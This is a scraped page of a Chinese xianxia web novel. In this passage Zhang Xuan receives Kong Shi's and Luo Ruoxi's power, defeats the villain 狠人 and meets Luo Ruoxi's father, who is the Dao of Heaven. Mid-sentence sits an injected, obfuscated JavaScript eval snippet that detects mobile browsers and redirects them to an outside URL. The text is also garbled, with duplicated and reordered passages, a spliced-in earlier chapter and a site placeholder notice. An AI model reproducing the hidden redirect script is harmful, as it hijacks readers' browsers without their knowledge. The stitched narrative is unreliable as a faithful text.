“是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16195418|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第194章十万兵马 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? 